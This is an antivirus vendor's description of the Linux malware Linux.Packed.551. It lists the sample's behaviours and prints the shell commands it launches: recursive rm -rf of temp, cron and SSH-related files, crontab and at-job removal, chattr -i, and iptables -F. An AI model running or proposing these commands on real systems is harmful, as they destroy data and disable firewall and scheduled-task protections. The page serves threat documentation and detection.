Linux.Packed.551

Linux.Packed.551

Added to the Dr.Web virus database: 2019-08-11

Virus description added: 2019-08-11

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Modifies firewall settings:

Launches processes:

sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
sh -c rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; crontab -r ; iptables -F ; iptables-save ; >/dev/null 2>&1
rm -rf /home/*/.ss*/.kn*
rm -rf /root/.ss*/.kn*
rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
rm -rf /etc/cron.daily/apt /etc/cron.daily/aptitude /etc/cron.daily/bsdmainutils /etc/cron.daily/dpkg /etc/cron.daily/exim4-base /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.weekly/man-db
rm -rf /var/spool/anacro*/*/*
crontab -r
iptables-save
sh -c /root/msegrq
/root/msegrq

Kills system processes:

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

HTTP GET requests: